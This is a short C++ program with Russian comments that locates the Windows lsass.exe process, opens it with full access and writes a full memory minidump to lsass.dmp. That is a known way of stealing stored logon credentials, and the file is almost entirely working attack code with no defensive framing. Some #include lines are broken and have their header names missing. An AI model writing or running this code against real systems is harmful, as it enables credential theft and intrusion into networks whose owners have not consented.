#include "stdafx.h"
#include 
#include 
#include 
#include 
using namespace std;

int main() {
	DWORD lsassPID = 0;
	HANDLE lsassHandle = NULL;

	// Откройте хэндл для файла lsass.dmp - именно в него будет сохранен файл минидампа
	HANDLE outFile = CreateFile(L "lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	// Найдите PID lsass
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processName, L "lsass.exe") != 0) {
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			lsassPID = processEntry.th32ProcessID;
		}
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
	}

	// Открываем хэндл процесса lsass.exe
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);

	// Создание минидампа
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

	if (isDumped) {
		cout << "[+] дамп lsass успешно создан!" << endl;
	}

    return 0;
}